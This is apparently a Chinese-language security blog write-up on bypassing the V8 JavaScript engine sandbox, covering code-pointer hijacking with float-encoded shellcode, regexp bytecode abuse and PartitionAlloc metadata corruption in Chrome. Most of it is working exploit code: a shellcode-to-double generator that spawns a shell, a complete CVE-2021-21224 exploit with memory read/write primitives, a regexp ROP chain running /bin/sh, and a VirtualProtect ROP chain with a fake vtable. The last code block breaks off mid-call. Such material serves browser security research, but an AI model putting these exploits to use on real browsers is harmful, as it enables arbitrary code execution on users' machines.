v8 sandbox沙箱绕过 总结 v8沙箱的本质其实就是修改了前面的,直接通过wasm就能获取到一个可以rwx的地址空间的地址,并且这个地址是可以直接访问的,于是可以通过rw原语修改这个地址上的数据,修改执行代码。现在加的沙箱就是将这个rwx的地址给隔离出来了,不能直接通过rw原语修改。也就是不在一个空间了。
绕过沙箱就是想办法获取到其他的在沙箱内rwx的地址空间,或者想办法能实现沙箱外的读写。PartitionAlloc 漏洞就是实现沙箱外读写,正则表达式就是获取其他的rwx的地址空间。但是这个正则并不是直接的获取到了一个沙箱内的rwx地址,而是本身具备那种栈的特性,可以进行修改
绕过沙箱的办法 一、Bypassing the sandbox with WasmInstance objects 该方法只能在低版本使用,测试现在在9.1.269能使用
我们现在构造这样的代码
1 2 3 4 5 6 function shellcode ( ) { return [ 1.0 , ]; } %DebugPrint (shellcode)
在JSFunction中存在这样的内存结构。

这里的code字段代表的是JSFunction函数要执行的汇编代码,处于 r-x 页。看一下这个code的结构。

可以发现这里的汇编代码的起始地址在code代码的后面0x40个字节的样子,这点很关键后面用得着。现在继续看汇编代码,可以发现我们本来只有一个return 1.0这样的代码,但是汇编代码居然存在这么多。说明这里的汇编并不是单纯的将我们的1.0解释成代码,再结合0x55偏移的设置map,可以得出解释器将我们的数据解释为了一个创建一个数组然后返回他这样的格式。我们重新构建一个js,再来看看code的结构。
1 2 3 4 5 6 7 8 9 10 11 function shellcode ( ) { return [ 1.0 , 1.9553825422107533e-246 , 1.9560612558242147e-246 , 1.9995714719542577e-246 , 1.9533767332674093e-246 , 2.6348604765229606e-284 ]; } %DebugPrint (shellcode)
上面的浮点数表示的是执行/bin/sh的汇编代码。code的结构如下

这里可以发现存在很多个REX.W movq r10,0xceb580068732f68这样的数据,这里其实就是在进行复制,构造一个浮点数组并返回。但我们这里注意到在汇编49ba682f73680058eb0c中存在了682f73680058eb0c这样的数据。也就是说49ba682f73680058eb0c这个汇编中包含了我们的传入的数据。这里为什么不直接用16进制传递进去呢,这里就涉及到v8的数据存储,会将我们的数据乘以2再存入进去。然后我们现在看看49ba682f73680058eb0c这段汇编数据。

发现在偏移了两个单位后就是我们写入的代码。也就是说跳过49ba就是我们的代码。现在我们回来知道,v8会跳转到code的地址去进行访问和执行后面的代码。也就是说我们如果能控制code的值,也就能控制跳转到什么地方。我们接下来控制code的值为0x41414141。发现会卡在这里

1 2 3 4 5 6 7 8 9 10 11 0x27da00040cd3: pop rbp 0x27da00040cd4: mov ecx,DWORD PTR [rdi+0x17] 0x27da00040cd7: add rcx,r13 0x27da00040cda: test DWORD PTR [rcx+0x1b],0x20000000 0x27da00040ce1: jne 0x27da00040cf0 0x27da00040ce7: add rcx,0x3f 0x27da00040ceb: jmp 0x27da00040cfb 0x27da00040cf0: mov ecx,DWORD PTR [rcx+0x1f] 0x27da00040cf3: mov rcx,QWORD PTR [r13+rcx*8+0x3590] 0x27da00040cfb: jmp rcx
这里发现rcx的值中就有我们改掉的0x41414141。前面的0x27da就是基地址,结合前面的add rcx,r13也能知道这个。然后对code的值的偏移0x1b的地方的数据判断是否最高位是否为1,是1就跳转,然后发现如果不跳转的话会add rcx,0x3f;jmp 0x27da00040cfb;jmp rcx,直接控制了执行流。但是因为汇编不是连续的,需要进行短跳jmp,算出来每个汇编之间是0x14个距离,每个汇编和环境不一样,根据环境变化的。然后也就是说我们能控制多个不连续的8字节汇编,留出两个字节进行短跳。还能控制6个字节,也就是写shellcode的时候要分段,每段汇编不超过6个字节。
值得注意的是,浮点数之间不能重复,重复的话会直接省略掉,也就是说会自动将数组中冗余的删除,这也是为什么后续我构造shellcode的时候会在不同的地方用nop。
然后给一个能弹出计算器的shellcode,并不完善。下面的代码有个问题就是,在v8的这个浮点数的sandbox的绕过方案中无法进行push rsp的操作,mov rax,rsp;push rax;这类的操作也是不行的,我怀疑是v8监控了栈的结构导致的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *import structcontext(arch='amd64' ) def get_jmp_bytecode (offset ): return b'\xeb' + struct.pack('b' , offset) shell = u64(b'/bin/sh\x00' ) argv = u64(b'DISPLAY=' ) argv1 = u64(b"':0.0' x" ) argv2 = u64(b"calc\x00\x00\x00\x00" ) argv3 = u32(b'-c\x00\x00' ) def make_double_and_convert (code, length=6 , jmp_offset=0x14 ): assert len (code) <= length jmp_offset=jmp_offset-8 current_jmp = get_jmp_bytecode(jmp_offset) if length == 6 : raw_bytes = code.ljust(6 , b'\x90' ) + current_jmp else : raw_bytes = code.ljust(8 , b'\x90' ) val_u64 = u64(raw_bytes) double_val = struct.unpack('<d' , struct.pack('<Q' , val_u64))[0 ] return "{:.17E}" .format (double_val) parts = [ asm("push %d;" % (argv3)), asm("mov rcx,rsp" ), asm("push %d; pop rax" % (shell >> 32 )), asm("push %d; pop rdx" % (shell & 0xffffffff )), asm("nop;shl rax, 0x20" ), asm("add rax, rdx;push rax" ), asm("mov rdi,rsp" ), asm("push %d; pop rax" % (argv2 >> 32 )), asm("push %d; pop rdx" % (argv2 & 0xffffffff )), asm("nop;nop;shl rax, 0x20" ), asm("nop;add rax, rdx; push rax" ), asm("push %d; pop rax" % (argv1 >> 32 )), asm("push %d; pop rdx" % (argv1 & 0xffffffff )), asm("xor esi,esi;shl rax, 0x20;" ), asm("nop;nop;add rax, rdx; push rax" ), asm("push %d; pop rax" % (argv >> 32 )), asm("push %d; pop rdx" % (argv & 0xffffffff )), asm("shl rax, 0x20;xor esi,esi" ), asm("xor esi,esi;add rax, rdx; push rax" ), asm("push 59; pop rax" ), asm("xor edx,edx;mov rbx,rsp;push rbx" ), asm("push rcx;push rdi;mov rsi,rsp" ), asm("xor rcx,rcx;syscall" ) ] for i in parts: print (f"Hex: {i.hex ().upper():<12 } " ) print ("--- Resulting Doubles ---" )for i in range (len (parts)): if i >=15 : print (make_double_and_convert(parts[i], length=6 ,jmp_offset=(0x14 +3 ))+"," ) else : print (make_double_and_convert(parts[i], length=6 )+"," )
然后给出一个CVE-2021-21224的完整的sandbox绕过的弹出shell的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 var buf = new ArrayBuffer (8 );var f64_buf = new Float64Array (buf);var u64_buf = new Uint32Array (buf); function shellcode ( ) { return [ 1.0 , 1.9553825422107533e-246 , 1.9560612558242147e-246 , 1.9995714719542577e-246 , 1.9533767332674093e-246 , 2.6348604765229606e-284 ]; } for (let i = 0 ; i < 0x10000 ; i++) { shellcode ();shellcode (); shellcode ();shellcode (); shellcode ();shellcode (); } function ftoi (val ) { if (typeof val === 'bigint' ) return val; f64_buf[0 ] = val; return BigInt (u64_buf[0 ]) + (BigInt (u64_buf[1 ]) << 32n ); } function itof (val ) { let v = BigInt (val); u64_buf[0 ] = Number (v & 0xffffffffn ); u64_buf[1 ] = Number (v >> 32n ); return f64_buf[0 ]; } const hex = x => { return '0x' + x.toString (16 ); } function foo (a ) { let x = 0xffffffff ; if (a) x = -1 ; let z = Math .max (0 , x); z = 0 - z; z = Math .sign (z); let cor = new Array (z); cor.shift (); let oob = [1.1 , 2.2 , 3.3 ]; return { cor, oob }; } for (let i = 0 ; i < 100000 ; i++) foo (true ); let { cor, oob } = foo (false );cor[16 ] = 1337 ; let flt = [1.1 ];let tmp = {a : 1 };let obj = [tmp];function addrof (o ) { let a = ftoi (oob[22 ]) >> 32n ; let b = ftoi (oob[10 ]) & 0xffffffffn ; oob[10 ] = itof ((a << 32n ) + b); obj[0 ] = o; return (ftoi (flt[0 ]) & 0xffffffffn ) - 1n ; } function read (p ) { let a = ftoi (oob[10 ]) & 0xffffffffn ; oob[10 ] = itof (((p - 8n + 1n ) << 32n ) + a); return ftoi (flt[0 ]); } function write (p, x ) { let a = ftoi (oob[10 ]) & 0xffffffffn ; oob[10 ] = itof (((p - 8n + 1n ) << 32n ) + a); flt[0 ] = itof (x); } function write32 (p, val32 ) { let old_val = read (p); let old_val_int = ftoi (old_val); let high32 = old_val_int & 0xffffffff00000000n ; let new_val_int = high32 | (BigInt (val32) & 0xffffffffn ); let a = ftoi (oob[10 ]) & 0xffffffffn ; oob[10 ] = itof (((p - 8n + 1n ) << 32n ) + a); flt[0 ] = itof (new_val_int); } var shellcode_addr = ftoi (addrof (shellcode))& 0xffffffffn ;console .log ("[*] leak shellcode_addr addr: 0x" + hex (shellcode_addr));%DebugPrint (shellcode) var code_addr = read (shellcode_addr+0x18n )& 0xffffffffn ;console .log ("[*] leak code_addr addr: " + hex (code_addr));var ins_base = code_addr+0xben -0x3fn -3n ;console .log ("[*] leak ins_base addr: " + hex (ins_base))write32 (shellcode_addr+0x18n ,ins_base);shellcode ();
三、V8 Sandbox escape via regexp 该漏洞在b9349d97fd44aec615307c9d00697152da95a66a被修复,也就是chrome的125.0.6374.0;v8的12.5.61之前可以使用。
现在我们有这样的代码:
1 2 3 4 let s = "aaaaa" ;var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g ;%DebugPrint (regex); regex.exec (s);
这段代码是创建一个正则表达式的匹配器,匹配的是a-zA-Z0-9的0~无限多个的字符串。既然是匹配器肯定有对应的代码去实现匹配。执行结果如下:

在 V8 引擎中,JSRegExp 对象的 data 字段指向一个 **FixedArray**(在源码中通常被称为 RegExpData)。这是正则表达式的“灵魂”,存储了从源代码字符串到可执行机器码之间转换的所有中间产物。下面就是data的成员的详细解释
索引
成员名称
常见的数字/值含义
深度解析
0
Tag
0: 原子正则 1: 简单正则 2: Irregexp
表示该正则由 V8 的高级引擎(Irregexp)处理。你看到 2 说明它已启用复杂的编译逻辑。
1
Source
0x... (指针)
指向内存地址,存储你写的正则表达式文本。
2
Flags
1: g 2: i 4: m 1: 你的输出值
这是一个位掩码(Bitmask)。1 代表全局搜索模式。如果是 gi,该值会显示为 3 ($1 + 2$)。
3
Latin1 Code
-1 : 尚未编译 0x... : 机器码地址
这是针对 ASCII/Latin1 字符的 JIT 机器码 。-1 表示目前还在用解释器跑。
4
UC16 Code
-1 : 尚未编译 0x... : 机器码地址
针对 Unicode 字符的 JIT 机器码。
5
Latin1 Bytecode
-1 : 初始态 0x... : ByteArray 地址
你的劫持目标 。如果正则运行过,这里会指向那 460 字节的指令集。
6
UC16 Bytecode
-1 : 初始态 0x... : ByteArray 地址
针对 Unicode 字符的解释器指令集。
7
Capture Count
0, 2, 4…
捕获组数量。由于你的正则没括号,这里是 0(但执行时至少需要 2 个寄存器记录全匹配结果)。
8
Max Register Count
0 到 N
虚拟寄存器的最大索引。
9
Ticks
-1 或 正整数
计数器。当一个正则被频繁调用(Tick 增加),V8 会决定从 Bytecode 升级到机器码。
10
Tiering State
0: 解释模式 1: 待优化 (Pending Optimize) 2: 优化中
状态机标志 。1 说明引擎已经盯上这个正则了,准备进行 JIT 优化。
11
Wrapper / Data
0 或 指针
通常为 0。在某些版本的沙箱机制中,这里可能存放跳转表或元数据包装器。
这里的index10为1,说明需要通过JIT优化生成对应的机器码。Latin1 Bytecode 保存的应该就是对应的JIT生成机器码的代码的对象,Latin1 Code 表示的应该就是对应的机器码的对象。
regex.exec(s);后的data对象

可以发现index10变成了0,也就是处于解释模式了,会直接跳转到Latin1 Code 对象存储的机器码去。查看对应的ByteArray对象,也就是index5,发现没什么特殊的。
再查看对应的CodeWrapper对象,也就是index3,在code对象的instruction_start找到了对应的跳转代码。而且这个instruction_start是有沙箱保护的,我们也无法劫持这个。


但是我们发现ByteArray的数据是在RW-P的区域里面的,也就是说我们可以通过控制RegExp Bytecode来控制CodeWrapper中的 JIT(即时编译)代码 。但需要构造和正则解释器支持的RegExp Bytecode代码来控制JIT(即时编译)代码的生成。下面解释一下V8 的 Irregexp 字节码 是一种基于寄存器的、专门用于实现正则表达式回溯非确定有限状态自动机(NFA)的领域特定语言(DSL)。它的设计目标是尽可能精简,并能在解释执行与 JIT 编译之间无缝切换。以下是该指令集的核心规则:
1.指令基本结构
每条指令由 Opcode(操作码) 和 Arguments(参数) 组成:
编码方式 :采用小端序(Little-endian)存储。
指令对齐 :指令长度不固定,根据参数数量而定(通常以 4 字节为基本单元对齐,但 Opcode 占低位)。
寄存器模型 :Irregexp 不使用通用 CPU 寄存器,而是使用内存中的一个 int 数组作为“正则寄存器”,用于记录捕获组位置(Capture Positions)和循环计数。
2.五大指令类型规则
A. 字符匹配 (Character Matching)
负责检查输入字符串。
LOAD_CURRENT_CHAR : 加载当前字符串指针处的字符。
CHECK_CHAR_IN_RANGE : 检查字符是否在 $[low, high]$ 区间。
核心规则 :如果匹配失败,隐式触发 Backtrack(回溯) 。
B. 控制流 (Control Flow)
决定解释器的跳转逻辑。
JUMP : 绝对跳转。
PUSH_BT <offset> : 最重要的指令 。在遇到分支(如 | 或 *)时,将当前地址加上 offset 压入回溯栈。如果后续路径匹配失败,解释器会弹出此地址并跳转过去。
SUCCEED / FAIL : 匹配终止符。
C. 栈操作 (Backtrack Stack)
不同于普通的调用栈,回溯栈存储的是“可能性”。
PUSH_CP : 压入当前字符串指针(Current Position)。
POP_CP : 回溯时弹出并恢复位置,实现“退格”。
D. 寄存器操作 (Register Management)
SET_REGISTER : 将当前字符串位置写入指定的寄存器。
ADVANCE_REGISTER : 对寄存器值进行加减(常用于处理固定长度的重复)。
E. 边界检查 (Assertions)
CHECK_AT_START : 检查是否在字符串开头(对应 ^)。
CHECK_NOT_BACKREF : 处理反向引用。
这里就不再去解释这个指令了,下面给出v8在开启v8_enable_memory_corruption_api=true的时候适用的sandbox绕过代码,该代码基于1fd3f98c07afc527a68ee15a9e0d6869defec2a9的v8版本为12.5.0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 let s = "aaaaa" ;var sbxMemView = new Sandbox .MemoryView (0 , 0xfffffff8 );var addrOf = (o ) => Sandbox .getAddressOf (o);var dv = new DataView (sbxMemView);var readHeap4 = (offset ) => dv.getUint32 (offset, true );var readHeap8 = (offset ) => dv.getBigUint64 (offset, true );var writeHeap1 = (offset, value ) => dv.setUint8 (offset, value, true );var writeHeap4 = (offset, value ) => dv.setUint32 (offset, value, true );var writeHeap8 = (offset, value ) => dv.setBigUint64 (offset, value, true );var regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g ;let addr_regex = addrOf (regex);console .log (`[+] addr_regex: 0x${addr_regex.toString(16 )} ` );%DebugPrint (regex); let data_addr = readHeap4 (addr_regex + 0xc );console .log (`[+] data_addr = addr_regex + 0xc: 0x${data_addr.toString(16 )} ` );regex.exec (s); let bytecode = readHeap4 (data_addr + 0x1b );console .log (`[+] bytecode = data_addr + 0x1b: 0x${bytecode.toString(16 )} ` );let data_addr_0x2f_1 = readHeap4 (data_addr + 0x2f );console .log (`[+] data_addr + 0x2f: 0x${data_addr_0x2f_1.toString(16 )} ` );writeHeap4 (data_addr + 0x2f , 2 );let data_addr_0x2f_2 = readHeap4 (data_addr + 0x2f );console .log (`[+] data_addr + 0x2f: 0x${data_addr_0x2f_2.toString(16 )} ` );let arr = []; function push_reg (idx ) { arr.push ((idx << 8 ) | 0x03 ); }function pop_reg (idx ) { arr.push ((idx << 8 ) | 0x0c ); }function mov_reg1_to_reg2 (idx1, idx2 ) { push_reg (idx1); pop_reg (idx2); }function advance_reg (idx, value ) { arr.push ((idx << 8 ) | 0x09 ); arr.push (value); } function set_reg (idx, value ) { arr.push ((idx << 8 ) | 0x08 ); arr.push (value); } function success ( ) { arr.push (0x0000000e ); }let idx = 0x52 ; function add_gadget (addr ) { mov_reg1_to_reg2 (3 , 5 ); advance_reg (5 , addr); mov_reg1_to_reg2 (5 , idx++); mov_reg1_to_reg2 (4 , idx++); } mov_reg1_to_reg2 (0x53 , 4 ); mov_reg1_to_reg2 (0x52 , 3 ); advance_reg (3 , 0x1724F60 -0x2E49EC0 ); add_gadget (0x00000000011b08fe ); set_reg (idx++, 0x6e69622f ); set_reg (idx++, 0x0068732f ); add_gadget (0x00000000014c38f8 ); add_gadget (0x277B000 +0x10000 ); add_gadget (0x277B000 +0x10000 ); add_gadget (0x277B000 +0x10000 ); add_gadget (0x0000000001ccffdd ); add_gadget (0x00000000011b08fe ); set_reg (idx++, 0 ); set_reg (idx++, 0 ); add_gadget (0x00000000014c38f8 ); add_gadget (0x277B000 +0x10000 +0x8 ); add_gadget (0x277B000 +0x10000 +0x8 ); add_gadget (0x277B000 +0x10000 +0x8 ); add_gadget (0x0000000001ccffdd ); add_gadget (0x000000000118ac9d ); add_gadget (0x277B000 +0x10000 ); add_gadget (0x00000000011b08fe ); add_gadget (0x277B000 +0x10000 +8 ); add_gadget (0x000000000125dd86 ); add_gadget (0x277B000 +0x10000 +8 ); add_gadget (0x0000000001e46d40 ); set_reg (idx++, 0x0000003b ); set_reg (idx++, 0 ); add_gadget (0x00000000010f192d ); success (); console .log (`[+] success` );let buf1 = new ArrayBuffer (arr.length * 4 ); let view = new DataView (buf1);%DebugPrint (buf1); writeHeap4 (addrOf (buf1) + 0x24 , 0x0 );writeHeap4 (addrOf (buf1) + 0x23 , bytecode+0x7 );%DebugPrint (buf1); console .log (`[+] writeHeap4 buf1 + 0x23 : 0x${(bytecode+7 ).toString(16 )} ` );for (let i = 0 ; i < arr.length ; i++) { view.setUint32 (i * 4 , arr[i], true ); } regex.exec (s);
四、PartitionAlloc 漏洞 0x1 突破第一层:ArrayBuffer 属性篡改 要实现逃逸,首先需要破坏 ArrayBuffer 在沙箱内的对象模型。通过已有的 OOB(越界读写)漏洞,我们定位并修改 ArrayBuffer 的核心字段。
修改 byte_length :解除长度限制。
修改 max_byte_length :同步校验长度。
修改 backing_store :将其偏移重置,使 DataView 的视角能够覆盖到整个沙箱的基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 DebugPrint : 0x271600055c5d : [JSArrayBuffer ]- map : 0x27160018bbfd <Map [64 ](HOLEY_ELEMENTS )> [FastProperties ] - prototype : 0x27160018bcd1 <Object map = 0x271600199071 > - elements : 0x2716000006fd <FixedArray [0 ]> [HOLEY_ELEMENTS ] - embedder fields : 2 - backing_store : 0x271900000000 - byte_length : 131072 - max_byte_length : 131072 - detach key : 0x271600000069 <undefined > - detachable - properties : 0x2716000006fd <FixedArray [0 ]> - All own properties (excluding elements): {} - embedder fields = { 0 , aligned pointer : (nil) 0 , aligned pointer : (nil) }
1 2 3 4 5 const ab_addr = ftoi (addrOf (ab))& 0xffffffffn ; console .log (`[+] ab_addr: 0x${ab_addr.toString(16 )} ` ); caged_write (BigInt (ab_addr) + 0x16n , 0xf0000000n ); caged_write (BigInt (ab_addr) + 0x1en , 0xf0000000n ); caged_write (BigInt (ab_addr) + 0x26n , 0n );
0x2 关键泄露:定位 Chrome 与 PartitionAlloc 基址 由于 DataView 现在可以访问沙箱起始地址,我们可以通过固定偏移寻找关键的内存指针。
Chrome Base : 用于后续寻找 ROP Gadgets 和 IAT 表。
PartitionAlloc Base : 用于确定我们控制的堆内存(Shellcode 存放地)在物理内存中的绝对地址。
JavaScript
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 const dv = new DataView (ab);const chrome_leak = dv.getBigUint64 (0x1090 , true );const ab_pa_leak = dv.getBigUint64 (0x1080 , true );const ab_partition_base = ab_pa_leakconsole .log ("[+] chrome_leak:" , chrome_leak.toString (16 ));console .log ("[+] ab_pa_leak:" , ab_pa_leak.toString (16 ));checkUA (chrome_leak);const chrome_base = chrome_leak - base_leak_ofs;console .log ("[+] chrome_base:" , chrome_base.toString (16 ));console .log ("[*] ab_partition_base:" , ab_partition_base.toString (16 ));await sleep ();function checkUA (chrome_leak ) { if ((chrome_leak & 0xffffn ) === 0xfd00n ) { base_leak_ofs = 0xd39fd00n ; base_tgt_ofs = 0xd35ffb8n ; fptr_xor = 0xff000000000000n ; pivot_gadget = 0x895558en ; pop_gadget = 0x67620cn ; prax_ret = 0x6cd1n ; jmp_drax = 0x1d1e7n ; virtualprotect_iat_ofs = 0xd214850n ; vtable_gadget = 0x96b3672n ; vtable_rax = 0xd4dab30n ; vtable_call_base = 0xd3125e8n ; }
V8 沙箱逃逸的核心在于利用 PartitionAlloc 。通过修改其元数据(Metadata)中的 bucket 指针,我们可以欺骗分配器,使其认为某个任意内存地址(如 chrome.dll 的数据段)是一个可分配的空闲块。
篡改元数据 :通过 dv.setBigUint64 修改 0x1090 处的指针。
触发同步 :调用 ArrayBuffer.transfer(0),强制 V8 刷新内存状态并应用伪造的元数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 get_0x1090 = dv.getBigUint64 (0x1090 , true ); console .log (`[+] get_0x1090: 0x${get_0x1090.toString(16 )} ` ); get_0x1098 = dv.getBigUint64 (0x1098 , true ); console .log (`[+] get_0x1098: 0x${get_0x1098.toString(16 )} ` ); dv.setBigUint64 ( 0x1090 , chrome_base + base_tgt_ofs + 0x28n + 0x2n , true ); dv.setBigUint64 (0x1098 , dv.getBigUint64 (0x1098 , true ) | 1n , true ); get_0x1090_2 = dv.getBigUint64 (0x1090 , true ); console .log (`[+] get_0x1090_2: 0x${get_0x1090_2.toString(16 )} ` ); get_0x1098_2 = dv.getBigUint64 (0x1098 , true ); console .log (`[+] get_0x1098_2: 0x${get_0x1098_2.toString(16 )} ` ); abs[absctr++].transfer (0 ); console .log ("[+] Sandbox size overwritten" ); await sleep ();
0x4 部署战场:Shellcode 与 ROP 链 在获得任意读写原语后,我们需要在内存中布置攻击负载。
Shellcode : 实际执行的任务(如弹计算器)。
ROP Chain : 调用 VirtualProtect 将 Shellcode 所在的内存页权限改为 RWX (0x40)。
Fake Vtable : 伪造虚函数表,用于劫持执行流。
JavaScript
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 for (let i = 0 ; i < sc.length ; i++) { dv.setUint8 (0x14000 + i, sc[i]); } get_0x14000 = dv.getBigUint64 (0x14000 , true ); console .log (`[+] get_0x14000: 0x${get_0x14000.toString(16 )} ` ); get_0x14008 = dv.getBigUint64 (0x14008 , true ); console .log (`[+] get_0x14008: 0x${get_0x14008.toString(16 )} ` ); function set_rop (ofs, val ) { dv.setBigUint64 (0x1e000 + ofs, val, true ); } set_rop (0x0 , chrome_base + pop_gadget); set_rop (0x8 , ab_partition_base + 0x14000n ); set_rop (0x10 , 0x2000n ); set_rop (0x18 , 0x20n ); set_rop (0x20 , ab_partition_base + 0x1eff0n ); set_rop (0x28 , 0n ); set_rop (0x30 , chrome_base + prax_ret); set_rop (0x38 , chrome_base + virtualprotect_iat_ofs); set_rop (0x40 , chrome_base + jmp_drax); set_rop (0x48 , ab_partition_base + 0x14000n ); for (let i = 0 ; i < 0x1000 ; i += 0x10 ) { dv.setBigUint64 ( 0x1f000 + i, (chrome_base + vtable_gadget) ^ fptr_xor, true ); } console .log ("[+] shellcode / ropchain / vtable init complete" );
0x4 构造原语:构造任意写和置零原语 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function zero_out (base, len, stride = 2 ) { for (let ofs = len - 2 ; ofs >= 0 ; ofs -= stride) { dv.setBigUint64 (0x1090 , base + BigInt (ofs) - 6n , true ); dv.setBigUint64 (0x1098 , dv.getBigUint64 (0x1098 , true ) | 1n , true ); abs[absctr++].transfer (0 ); } } function arb_write (target, value ) { const freelist_head_orig = dv.getBigUint64 (0x1080 , true ); dv.setBigUint64 (0x1080 , ab_partition_base + 0x10000n , true ); const new_bitfield = (dv.getBigUint64 (0x1098 , true ) & ~((1n << 14n ) - 1n )) | 2n ; dv.setBigUint64 (0x1088 , target - 8n , true ); dv.setBigUint64 (0x1090 , ab_partition_base + 0x20000n , true ); dv.setBigUint64 (0x1098 , new_bitfield, true ); dv.setBigUint64 (0x20000 , ab_partition_base + 0x1080n , true ); dv.setBigUint64 (0x20000 + 0x10 , value, true ); dv.setUint32 (0x20000 + 0x1c , 1 , true ); abs[absctr++].transfer (0 ); dv.setBigUint64 ( 0x1098 , (dv.getBigUint64 (0x1098 , true ) & ~((1n << 14n ) - 1n )) | (0x300n << 1n ), true ); dv.setBigUint64 (0x1080 , freelist_head_orig, true ); }
0x5 致命一击:劫持执行流 (Control Flow Hijack) 最后一步是触发我们的 payload。我们通过之前构造的 arb_write 原语,修改 Chrome 的 **Code Pointer Table (CPT)**。
Pivot Gadget : 写入一个 stack pivot 指令(如 add rsp, xxx; ret),将栈顶指针切到我们的 ROP 链位置。
触发 : 调用一个会被该 CPT 指针索引的内置函数。
JavaScript
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 console .log ("[*] target write prepare (ropchain addr)" ); arb_write (chrome_base + vtable_rax, ab_partition_base + 0x1e000n ); console .log ("[*] target write success (ropchain addr)" ); console .log ("[*] target write prepare (pivot gadget)" ); zero_out (chrome_base + vtable_call_base, 6 ); zero_out (chrome_base + vtable_call_base - 8n , 8 ); zero_out (chrome_base + vtable_call_base + 0x10n , 8 ); arb_write (chrome_base + vtable_call_base, chrome_base + pivot_gadget); console .log ("[*] target write success (pivot gadget)" ); console .log ("[*] target write (CPT)" ); console .log ("[*] expect shell after 500ms!" ); zero_out (chrome_base + base_tgt_ofs - 8n , 8 + 6 , 1 ); zero_out (chrome_base + base_tgt_ofs + 0x10n + 0x4n , 4 , 1 ); arb_write ( chrome_base + base_tgt_ofs, ab_partition_base + 0x1f000n - 0x10000n